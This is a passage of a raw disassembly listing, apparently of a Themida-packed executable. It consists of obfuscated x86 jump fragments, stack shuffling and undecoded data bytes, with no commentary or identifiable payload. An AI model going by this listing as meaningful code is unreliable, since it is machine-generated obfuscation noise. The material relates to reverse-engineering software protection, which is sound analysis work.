		dd 48F5400h, 4BA5224h, 0E9000000h, 886h, 327FF381h, 0BF57172Fh
		dd 34933474h, 815FFB29h, 0F3EADBF3h, 4FBC68FCh,	34890000h
		dd 3DD3BE24h, 0B3E95B72h, 810000A8h, 4C4h, 2D85E900h, 0DDF70000h
		dd 0D9B85051h, 0E952D445h, 9146h
; ---------------------------------------------------------------------------


loc_596818:				; CODE XREF: Themida_:0059C6B0j
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		mov	ebx, [esp]
		add	esp, 4
		add	[esp+4], edi
		mov	edi, [esp]
		jmp	loc_5A47E7
; ---------------------------------------------------------------------------
		db 48h
		dd 303BF57h, 70E90900h,	8FFFFFFDh, 0A5E92404h
		db 6, 1, 0
; ---------------------------------------------------------------------------


loc_596843:				; CODE XREF: Themida_:0059825Bj
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		jmp	loc_5A2F10
; ---------------------------------------------------------------------------


loc_59684F:				; CODE XREF: Themida_:005A1E3Aj
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_594AC9
; ---------------------------------------------------------------------------
		db 1, 0CBh, 81h
		dd 0FA3386C3h, 0B557E965h, 8BA0000h, 890EF55Ch,	24148BD7h
		dd 4C481h, 0F7810000h, 19F27CE8h, 34F1E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_596882:				; CODE XREF: Themida_:005A6C02j
		add	dword ptr [esp], 4AEC5849h
		jmp	loc_5A66CB
; ---------------------------------------------------------------------------
		dw 0B958h
		dd 40D13162h, 69E9BE56h, 0E6C104A9h, 18BDE907h,	29660000h
		dd 0EE74E9EBh, 5B660000h, 0C630DC2Ch, 8324048Bh, 0E6C004C4h
		dd 0B660E907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5968BE:				; CODE XREF: Themida_:005A0C4Ej
		add	esp, 4
		jmp	loc_59D1AA
; ---------------------------------------------------------------------------
		db 59h,	1, 0FAh
		dd 55C2015Fh, 6E58E952h, 0BF570000h, 3F875303h,	0FFBD6EE9h
		dd 0BEBF57FFh, 8124273Bh, 0C9672EE7h, 6EFC103h,	3905C781h
		dd 0D7F7025Bh, 9AE4C781h, 0FE8920D7h, 83243C8Bh, 0BF5704C4h
		dd 4272735Eh, 8247C01h,	2474295Fh, 246C8104h, 72735E04h
		dd 24348B42h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_594DBE
; ---------------------------------------------------------------------------


loc_596934:				; CODE XREF: Themida_:00599772j
		push	dword ptr [esp]
		jmp	loc_5A4A11
; ---------------------------------------------------------------------------
		dd 6624248Bh, 68240C8Bh, 6D83h,	83240C89h, 8F5404ECh, 49682404h
		dd 8900005Bh, 468240Ch,	59000000h, 4776E9h, 24048F00h
		dd 0E924248Bh, 868Dh
; ---------------------------------------------------------------------------


loc_596970:				; CODE XREF: Themida_:0059D0D1j
		add	edx, esi
		pop	esi
		sub	edx, 4
		jmp	loc_5A39E3
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 5B22B850h,	40351DA1h, 0E9178C7Fh, 0F86Fh
		dd 5901E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_595FB8
; ---------------------------------------------------------------------------


loc_5969A2:				; CODE XREF: Themida_:005A5251j
		mov	esi, 13AF132Fh
		add	esi, 6A283CA4h
		or	esi, 14875976h
		shl	esi, 2
		sub	esi, 5B684DB4h
		jmp	loc_5921CD
; ---------------------------------------------------------------------------


loc_5969C1:				; CODE XREF: Themida_:005A092Ej
		xor	eax, 76BE33E1h
		shl	eax, 5
		push	edi
		mov	edi, 673C172Eh
		sub	edi, 11F9151Eh
		jmp	loc_596C6A
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFFE419h
; ---------------------------------------------------------------------------


loc_5969E0:				; CODE XREF: Themida_:005A242Bj
		add	esp, 4
		add	esp, 4
		pop	eax
		jmp	loc_59A214
; ---------------------------------------------------------------------------
		db 2Ch
		dd 26D0E90Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5969F6:				; CODE XREF: Themida_:005A491Cj
		sub	ebx, 176F2ACCh
		sub	edi, ebx
		pop	ebx
		jmp	loc_5A2951
; ---------------------------------------------------------------------------
		dd 4C4815Bh, 0E9000000h, 1A17h,	0BF243C89h, 201D6756h
		dd 58FFB951h, 0D1F71A5Ah, 0DA33E952h, 0FD890000h, 8BEE015Fh
		dd 4BE9242Ch, 50FFFFEAh, 4B8h, 0F631E900h, 24890000h, 24048124h
		dd 4, 8324048Fh, 0E9042404h, 0B4C3h
; ---------------------------------------------------------------------------


loc_596A54:				; CODE XREF: Themida_:00598415j
		push	edx
		mov	edx, 4
		sub	ecx, 5324122h
		jmp	loc_5986D3
; ---------------------------------------------------------------------------
aMAsk		db '°Mµíék(',0
		align 2
		dw 8368h
		dd 8900000Ch, 68502434h, 2E751B22h, 6D490D58h, 9AE91311h
		dd 6600007Ch, 25B9C781h, 69C78166h, 0C7016639h,	69EF8166h
		dd 0E84FE939h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_596A9E:				; CODE XREF: Themida_:005A6C82j
		pop	ebx
		jmp	loc_5A396F
; ---------------------------------------------------------------------------


loc_596AA4:				; CODE XREF: Themida_:005A667Ej
		sub	ebx, 0BD4AE91Fh
		add	ecx, ebx
		pop	ebx
		add	ecx, edi
		sub	ecx, 71AF74A1h
		jmp	loc_5A4CE4
; ---------------------------------------------------------------------------


loc_596ABA:				; CODE XREF: Themida_:0059A846j
		mov	cl, 0AEh
		not	cl
		push	ecx
		jmp	loc_59D3A4
; ---------------------------------------------------------------------------
		dd 8704ED83h, 0ECE9242Ch
		db 0C7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_596ACF:				; CODE XREF: Themida_:0059F289j
		shr	ecx, 5
		neg	ecx
		not	ecx
		inc	ecx
		push	ebp
		mov	ebp, 3C34DF32h
		xor	ecx, ebp
		jmp	loc_5A4FC7
; ---------------------------------------------------------------------------
		dd 2837EB80h, 37C380EBh, 59DBC380h, 0FFC0B60Fh,	0F0688734h
		dd 89000065h, 0ABE9242Ch
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_596B03:				; CODE XREF: Themida_:00592D68j
		push	565Bh
		mov	[esp], ebp
		push	edx
		push	479E2E9Dh
		pop	edx
		sub	edx, 26C00904h
		push	esi
		mov	esi, 9714AACh
		add	esi, 62D0C8CFh
		jmp	loc_593E13
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 29ADE9h, 242C8900h, 0B60B94BDh, 4EC8308h, 0BE243489h
		dd 792B47C7h, 6DE9F531h, 8B00000Ah, 89662424h, 19E92404h
		dd 5CFFFFB4h, 4C781h, 8E680000h, 0E9000073h, 0F2F1h, 8104C483h
		dd 0A773BCF5h, 33C58126h, 899B75DDh, 0B9515DEBh, 3CFC0707h
		dd 159C829h, 7BD55D8h, 0E93CFC07h, 0FFFFF214h, 0C1E3D143h
		dd 0B85004E3h, 9D4AA748h, 2958C329h, 0C2AFE9D9h, 0C381FFFFh
		dd 4, 6FCBF57h,	0BB53238Dh, 5B63659Dh, 0FFC9CDE9h, 49D9F7FFh
		dd 0A1FFF181h, 4949974Eh, 0F2DC981h, 0BB531311h, 0E8B7D8Bh
		dd 6947C381h, 0C3810544h, 14A949D0h, 0E95BD929h, 25FAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5A7131
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 4C281h, 0EA810000h, 4, 0E57FE9h, 2E8C100h
		dd 508E0C1h, 1,	4EC81h,	3C890000h, 85E0BF24h, 0F801E525h
		dd 83243C8Bh, 0C23104C4h, 0CBE94258h, 0E9000019h, 0FFFFB328h
		dd 295DEF01h, 0BD555FFEh, 5E7E4A1Fh, 2C8BEE31h,	4C48324h
		dd 78D5F681h, 0F389E2DFh, 2EE95Eh
		db 1, 0
; ---------------------------------------------------------------------------


loc_596C6A:				; CODE XREF: Themida_:005969D5j
		not	edi
		sub	edi, 11555D5Dh
		jmp	loc_5A3590
; ---------------------------------------------------------------------------
		db 0C1h
		dd 60E905E0h, 890000F3h, 9E6855E6h, 0E900007Bh,	0FFFFEA34h
		dd 0DA0FC781h, 0C1812C13h, 6351F06h, 325CE981h,	0E981746Fh
		dd 6EA67095h, 0C468F929h, 8900007Eh, 0EBE92404h, 0EFh
		dd 2C0C04D8h, 0DF59E9E3h, 81430000h, 4F0CCDCBh,	3E3C125h
		dd 0B740C381h, 0DF89B351h, 0FFC7835Bh, 2623EF81h, 0FD0122CAh
		dd 0A0F3E9h, 81E95800h,	0BAFFFFEFh, 7A701962h, 9A2EEA81h
		dd 0D12144A6h, 14F7515Ah, 0D1875924h, 0D187D2F7h, 7ADB850h
		dd 5E2D4352h, 0E90861F8h, 1DF4h, 0C181E189h, 4,	4C181h
		dd 0C870000h, 0EEE95C24h
		db 0CEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_596D27:				; CODE XREF: Themida_:005A40F1j
		mov	[esp], ebx
		jmp	loc_5940AC
; ---------------------------------------------------------------------------


loc_596D2F:				; CODE XREF: Themida_:005A3956j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_598C51
; ---------------------------------------------------------------------------
		dd 6C2468h, 24148900h, 4AAD68h,	0B11E900h, 32FF0000h, 0FFB217E9h
		dd 2AE954FFh, 6800002Ah, 653Fh,	0FF240489h, 8B042474h
		dd 0C4812404h, 4, 5C24048Fh, 0BF243C89h, 473F6518h, 0E3E9E7D1h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_596D87:				; CODE XREF: Themida_:00598627j
		mov	[esp], edi
		push	esi
		push	edx
		mov	edx, 460D65D5h
		mov	esi, 0D31DB233h
		jmp	loc_59B100
; ---------------------------------------------------------------------------
		db 5
		dd 6B6115Dh, 5D2DD001h,	5706B611h, 0DA1BBFBFh, 0C2EF8119h
		dd 8143D264h, 106D4BEFh, 46C7810Ah, 0E972F7C1h,	6D0h, 0F381D3F7h
		dd 98EBBA28h, 103CEE9h
		db 0
; ---------------------------------------------------------------------------


loc_596DD1:				; CODE XREF: Themida_:005A6D17j
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_59E5F3
; ---------------------------------------------------------------------------
		dd 6500E950h, 74FF0000h, 8F5F0424h, 295C2404h, 0E99C2404h
		dd 0FFFFF7FBh
; ---------------------------------------------------------------------------


loc_596DF8:				; CODE XREF: Themida_:005997F3j
		mov	ebp, 12820E0Eh
		add	ebp, 0FFFFFFFFh
		jmp	loc_59B0C2
; ---------------------------------------------------------------------------


loc_596E08:				; CODE XREF: Themida_:0059C03Dj
		add	eax, esi
		jmp	loc_5A01B6
; ---------------------------------------------------------------------------


loc_596E0F:				; CODE XREF: Themida_:0059224Ej
		push	ecx
		mov	ecx, 30CC4D0Dh
		sub	eax, 44374B99h
		add	eax, ecx
		push	ebx
		mov	ebx, 44374B99h
		add	eax, ebx
		jmp	loc_59CE45
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 1000000h, 0ADE95AD1h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596E37:				; CODE XREF: Themida_:005956BBj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5970A7
; ---------------------------------------------------------------------------


loc_596E43:				; CODE XREF: Themida_:00598079j
		sub	bl, al
		jmp	loc_59A530
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 0CEF6DE2Ah, 5FE3E9h
		db 0
; ---------------------------------------------------------------------------


loc_596E55:				; CODE XREF: Themida_:005A696Aj
		inc	ecx
		shr	ecx, 4
		jmp	loc_5A4562
; ---------------------------------------------------------------------------
		dw 0C380h
		dd 8EEB80D6h, 516CC380h, 0EE88DD88h, 0B4B8E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596E72:				; CODE XREF: Themida_:00597F8Ej
		mov	ecx, 8090D26h
		sub	ebx, 0D5C0CC1h
		add	ebx, 4D2A461Fh
		add	ebx, ecx
		sub	ebx, 4D2A461Fh
		add	ebx, 0D5C0CC1h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		pop	eax
		pop	ebx
		not	ebx
		jmp	loc_596736
; ---------------------------------------------------------------------------


loc_596EB0:				; CODE XREF: Themida_:005A39EBj
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_599654
; ---------------------------------------------------------------------------
a1q13Ss		db '1ï1<$3<$éè',1Bh,0
		db 0
; ---------------------------------------------------------------------------


loc_596EC7:				; CODE XREF: Themida_:0059EA35j
		sub	edx, ebp
		sub	edx, 3C550939h
		push	ebp
		mov	ebp, 4BA53CEDh
		sub	edx, ebp
		pop	ebp
		jmp	loc_59ACDE
; ---------------------------------------------------------------------------
aAZSS		db '€ê‡(êé>™',0
		db 0
; ---------------------------------------------------------------------------


loc_596EE7:				; CODE XREF: Themida_:005A5B58j
		pop	esp
		jmp	loc_5949DC
; ---------------------------------------------------------------------------
		db 0B9h, 2Eh, 28h
		dd 3DE9D02Dh
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596EF7:				; CODE XREF: Themida_:0059BE52j
		mov	edx, 71E11E55h
		sub	ebx, edx
		pop	edx
		add	ebx, eax
		push	edi
		mov	edi, 67BD476Ch
		add	edi, 0A23D6E9h
		jmp	loc_5A497C
; ---------------------------------------------------------------------------


loc_596F12:				; CODE XREF: Themida_:005980CDj
		push	dword ptr [esp+4]
		jmp	loc_5A088D
; ---------------------------------------------------------------------------
		db 31h
		dd 3C33243Ch, 24248B24h, 0D64E981h, 89561DBCh, 4C681E6h
		dd 83000000h, 348704EEh, 0C895C24h, 4EC8124h, 0E9000000h
		dd 0B43Dh, 4EC8359h, 0E9243489h, 0FFFFB41Bh
; ---------------------------------------------------------------------------


loc_596F54:				; CODE XREF: Themida_:005949F1j
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A009C
; ---------------------------------------------------------------------------
		db 81h
		dd 0E4240BEBh, 8EF3814Ah, 8193E5FCh, 187EFDEAh,	81DA0103h
		dd 187EFDC2h, 0BB535B03h, 6A976887h, 60F2CB81h,	29E90EC5h
		dd 520000A9h, 42474FFh,	24048F5Ah, 0E56BE95Ch, 1C87FFFFh
		dd 0E9525C24h, 33E5h
; ---------------------------------------------------------------------------


loc_596FAC:				; CODE XREF: Themida_:0059F959j
		xor	ecx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5A4482
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 5B534E3Bh
		xchg	edi, esi
		not	edi
		jmp	loc_59CDD5
; ---------------------------------------------------------------------------
		db 5Fh
		dd 37EF8147h, 0E91C9C6Dh, 0F395h, 4D8E6850h, 14890000h
		dd 88E5B624h, 0BEF8E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_596FF2:				; CODE XREF: Themida_:0059769Cj
		xor	edx, 16966401h
		push	ebx
		mov	ebx, 0FFFFFFFFh
		add	edx, ebx
		pop	ebx
		dec	edx
		jmp	loc_5935F7
; ---------------------------------------------------------------------------
		db 0BBh
		dd 2CF373BFh, 0C1FFE943h, 815BFFFFh, 5356A7E2h,	21F28143h
		dd 0E9431044h, 38F0h
; ---------------------------------------------------------------------------


loc_597024:				; CODE XREF: Themida_:00598D55j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5A239B
; ---------------------------------------------------------------------------
		db 2Dh,	0F2h, 78h
		dd 0C8015D47h, 4778F205h, 4BEA2D5Dh, 5FE92EE4h,	890000B8h
		dd 3EBA2414h, 817E3F02h, 610A07F2h, 0C9FDE923h,	5401FFFFh
		dd 8F5A0424h, 54E92404h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59706B:				; CODE XREF: Themida_:005A01D0j
		add	esp, 4
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		jmp	loc_5A59F9
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 81h
		dd 735F21EFh, 0BB535024h, 0ECB0B355h, 315BD889h, 0F790E9C7h
		dd 0C5890000h, 44A2BF58h, 4FE936FAh
		db 0D8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5970A7:				; CODE XREF: Themida_:00596E3Ej
		and	eax, ebx
		pop	ebx
		shr	eax, 0Ah
		xor	eax, ecx
		jmp	loc_5A611C
; ---------------------------------------------------------------------------
		dd 78E9E189h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5970BB:				; CODE XREF: Themida_:005A14F0j
		xor	ebp, edi
		jmp	loc_5A6988
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 43FDE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5970CE:				; CODE XREF: Themida_:00595C51j
		push	eax
		jmp	loc_599445
; ---------------------------------------------------------------------------
		dd 694C2D5Ch, 8FE97245h, 89FFFFEDh, 40B9240Ch, 813F9B4Ch
		dd 0E1439DC9h, 1C18110h, 0E9000000h, 8A85h, 24048B66h
		dd 81E78957h, 4C7h, 0BD81E900h,	61E9FFFFh, 80FFFFAEh, 0CE8067EEh
		dd 54F65225h, 805A0124h, 0EE8001C6h, 29B5515Bh,	15D4E9h
		db 0
; ---------------------------------------------------------------------------


loc_597129:				; CODE XREF: Themida_:005A62FEj
		add	edx, 162235CDh
		add	edx, ebx
		sub	edx, 162235CDh
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		add	bl, 2Ch
		sub	bl, al
		sub	bl, 2Ch
		push	small 2150h
		jmp	loc_59D85E
; ---------------------------------------------------------------------------
		dw 0A904h
		dd 9C3DE9h, 43ABB00h, 0D3F70476h, 0E902EBC1h, 0FFFFFA28h
; ---------------------------------------------------------------------------


loc_597168:				; CODE XREF: Themida_:0059A09Bj
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 0EA0C6B59h
		push	ebp
		mov	ebp, 4239575Ah
		xor	ebp, 108B713Eh
		inc	ebp
		not	ebp
		add	ebp, 7C5A3D4Fh
		jmp	loc_5A43CE
; ---------------------------------------------------------------------------


loc_597191:				; CODE XREF: Themida_:00599158j
		push	dword ptr [esp]
		jmp	loc_59B718
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_592140
; ---------------------------------------------------------------------------


loc_5971AF:				; CODE XREF: Themida_:0059EF72j
		sub	ecx, 1E6EBAh
		jmp	loc_595A37
; ---------------------------------------------------------------------------
aQSs		db '»Ô%q:Sé¶#',0
		dd 4C48100h, 29000000h,	4F295EF1h, 2434FF24h, 0FFFD6FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5971D9:				; CODE XREF: Themida_:005A36F4j
		push	4
		pop	ebp
		add	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5937EA
; ---------------------------------------------------------------------------
		db 80h,	0E9h, 5Fh
		dd 0D1F6C9FEh, 0AB8FE9h, 0FE895600h, 0F00CE9h, 0FFC38100h
		dd 53FFFFFFh, 0C96EE9h
		db 0
; ---------------------------------------------------------------------------


loc_597211:				; CODE XREF: Themida_:005A303Aj
		mov	esi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		jmp	loc_5A243E
; ---------------------------------------------------------------------------
		dd 34FF212Ch
		db 24h,	59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	283Dh
		mov	[esp], edx
		mov	dh, 44h
		shr	dh, 8
		add	dh, 63h
		jmp	loc_59F2E2
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4C28100h, 0E9000000h, 7917h, 0B8h, 95E82900h
		dd 0F2ED8158h, 299A5489h, 242C8BEFh, 0FFC61EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597281:				; CODE XREF: Themida_:005A1753j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_597D43
; ---------------------------------------------------------------------------
		dd 37E92AB5h, 8BFFFFC7h, 0C4832404h, 0A4C38104h, 817C2E54h
		dd 4E298BEBh, 0B350E917h, 0BB530000h, 15514C35h, 0E95BD909h
		dd 0DB67h, 0F760C281h, 79E92137h, 6600006Ah, 7CBE6656h
		dd 27DAE9AFh, 0AEBD0000h, 310A9B2Dh, 9FE6E9EAh,	0C6FE0000h
		dd 0C680C6FEh, 4128E96Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5972F2:				; CODE XREF: Themida_:0059BBE5j
		or	esi, 1C8C4D88h
		sub	esi, 7CAF6FB5h
		sub	ebx, 10EA4049h
		add	ebx, esi
		add	ebx, 10EA4049h
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_592C4F
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 241C3124h, 0E9241C33h, 0E57Eh, 705CB6BDh, 0FED816Dh
		dd 4D48B36Eh, 0EFC2E9h,	5EF02900h, 0E952D801h, 0FFFFD70Eh
		dd 2E9CB29h, 81000094h,	0F5EE20C3h, 0F9BEE946h,	0F7B20000h
		dd 8072C280h, 0D00083EAh, 66352C5Ah, 81240C8Bh,	2C4h, 0B5515000h
		dd 9DC4E941h, 0E9910000h, 0FFFFD81Dh
; ---------------------------------------------------------------------------


loc_597384:				; CODE XREF: Themida_:00597910j
		inc	ebx
		jmp	loc_599534
; ---------------------------------------------------------------------------
aVsE		db 'Vé×e',0
		align 10h


loc_597390:				; CODE XREF: Themida_:0059AE87j
		add	ecx, esi
		jmp	loc_5A1F0B
; ---------------------------------------------------------------------------


loc_597397:				; CODE XREF: Themida_:005A38CDj
		mov	ebx, [esp]
		jmp	loc_5A672D
; ---------------------------------------------------------------------------


loc_59739F:				; CODE XREF: Themida_:005A4930j
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_59C401
; ---------------------------------------------------------------------------


loc_5973AA:				; CODE XREF: Themida_:005A5E7Cj
		sub	ebx, 43381FCDh
		sub	ebx, 231E1AE2h
		sub	ebx, 0E8B8EAC2h
		add	edx, ebx
		jmp	loc_599FED
; ---------------------------------------------------------------------------
aSym		db ')ÎéYM',0
		align 2
		dw 8952h
		dd 4C281E2h, 83000000h,	51E904C2h, 530000C4h, 0F82898B7h
		dd 4EC815Bh, 89000000h,	0B252240Ch, 0A5EA808Bh,	0FE04EAC0h
		dd 8EC5E9C2h, 0E9590000h, 0FFFFAB70h, 94E9DA01h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_597407:				; CODE XREF: Themida_:0059FF43j
		add	eax, ecx
		pop	ecx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_5A0CCE
; ---------------------------------------------------------------------------


loc_597431:				; CODE XREF: Themida_:005A47F1j
		mov	edi, 776749C5h
		push	0
		sub	[esp], edi
		jmp	loc_59413D
; ---------------------------------------------------------------------------


loc_597443:				; CODE XREF: Themida_:0059B3A9j
		push	4513h
		mov	[esp], ecx
		mov	ecx, 56AF14B6h
		xor	ecx, 55D43C61h
		jmp	loc_59BF3F
; ---------------------------------------------------------------------------


loc_59745B:				; CODE XREF: Themida_:005A181Fj
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_5A601A
; ---------------------------------------------------------------------------
		dd 4477EE81h, 0BB530668h, 7A487E6Bh, 0C997E9h, 50595B00h
		dd 0DFB4E955h, 895CFFFFh, 5954240Ch, 6951E9h, 0E9C60000h
		dd 0FFFFAC88h, 0E95FF801h, 0E458h, 0E9243C8Bh, 0FFFFC3A5h
		dd 565DEA89h, 0E6737BBEh, 4F6A2D34h, 0A1E97091h, 8700003Ah
		dd 215C2434h, 0E8C15AD0h, 50C83108h, 7468E089h,	8900007Ah
		dd 0BD55241Ch, 79105C39h, 8E5C14Dh, 8106EDC1h, 9C50ABEDh
		dd 5DEB89A7h, 0FB6AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5974E9:				; CODE XREF: Themida_:005988E2j
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	esi
		push	2720h
		jmp	loc_59C07D
; ---------------------------------------------------------------------------


loc_597510:				; CODE XREF: Themida_:0059DF85j
		xor	ecx, 0CE9041Fh
		mov	eax, ecx
		pop	ecx
		mov	edx, eax
		pop	eax
		jmp	loc_5A356A
; ---------------------------------------------------------------------------
		db 0E9h, 4Ah, 0AAh
		dd 0C781FFFFh, 7D884A2Fh, 0D010E9h
		db 0
; ---------------------------------------------------------------------------


loc_597531:				; CODE XREF: Themida_:005A6049j
		push	ecx
		pop	dword ptr [edi+24h]
		pop	ecx


loc_597536:				; CODE XREF: Themida_:00591F78j
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, 2B6B7566h
		add	edx, eax
		sub	edx, 2B6B7566h
		mov	eax, [esp]
		add	esp, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		push	ebx
		mov	ebx, 28BC11C0h
		jmp	loc_594E68
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9240489h, 0FFFFBA34h
; ---------------------------------------------------------------------------


loc_59757C:				; CODE XREF: Themida_:005A0880j
		mov	[esp], ebx
		jmp	loc_598621
; ---------------------------------------------------------------------------
		dd 0B3EE81h, 3168038Eh,	89000000h, 0A5E9243Ch, 5A0000E3h
		dd 68h,	9E8CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5975A2:				; CODE XREF: Themida_:0059AADCj
		mov	ebx, 9584C12Dh
		add	edx, ebx
		jmp	loc_5A15C5
; ---------------------------------------------------------------------------
		dw 0F280h
		dd 0E9DAF681h, 89B1h, 0BEFDE95Eh, 0C889FFFFh, 58C60159h
		dd 185468h, 24048900h, 5012BD55h, 68525F32h, 3C540DDAh
		dd 16C2815Ah, 0E96479A2h, 0FFFFB949h, 0E92434FFh, 0A343h
; ---------------------------------------------------------------------------


loc_5975EC:				; CODE XREF: Themida_:00591FCFj
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_59D60C
; ---------------------------------------------------------------------------
		dd 42474FFh, 8124348Bh,	4C4h, 24048F00h, 0FFC05FE9h, 242C31FFh
		dd 0E9242C33h, 0FFFFF324h, 0FA016F35h, 728C051Fh, 94E91217h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597627:				; CODE XREF: Themida_:005A2E5Fj
		xchg	esi, [esp]
		jmp	loc_5A286A
; ---------------------------------------------------------------------------
		db 51h
		dd 0CEDE9h, 243C8700h, 0D3F74B5Ch, 0EC83D3F7h, 243C8904h
		dd 763280BFh, 0FE685629h, 5E23741Dh, 1A6DC781h,	0F70140A7h
		dd 1A6DEF81h, 315E40A7h, 50FBE9FBh, 0F5810000h,	0DB1627C7h
		dd 2C8BEB89h, 4C48324h,	8103EBC1h, 0AB24D7C3h, 57BE564Fh
		dd 0E98D9516h, 210h, 5805BF57h,	0E5E90200h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597693:				; CODE XREF: Themida_:005A1E5Cj
		xor	ebx, 6AFE6371h
		mov	edx, ebx
		pop	ebx
		jmp	loc_596FF2
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0D311E9h, 0FEC70C00h, 2E0C0C0h, 8634D8F6h, 2BB75366h
		dd 5B66F828h, 21E9C388h, 2D000077h, 33904B70h, 0A806F705h
		dd 0C6015A4Dh, 8324048Bh, 343304C4h, 24343124h,	8B243433h
		dd 4002424h, 85E99C24h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5976EB:				; CODE XREF: Themida_:0059BC48j
		mov	[esp], eax
		push	esp
		pop	eax
		push	esi
		mov	esi, 1A6F123Fh
		push	ebp
		jmp	loc_59EE51
; ---------------------------------------------------------------------------
		dd 0E904C483h, 7484h, 2B8h, 0D5FDE900h,	8166FFFFh, 0E950A4C3h
		dd 0FFFFEFD3h, 4C681h, 0B8500000h, 77EB330Bh, 0BB53D8F7h
		dd 2F123BD4h, 0B704E9h,	3BEE8100h, 8151486Dh, 8F7CCFC6h
		dd 0F4FEE930h, 685E0000h, 606h,	0BD242C89h, 3E172EE9h
		dd 8904EC83h, 0DEBB241Ch, 2D6B1767h, 27DD740Eh,	0E05D829h
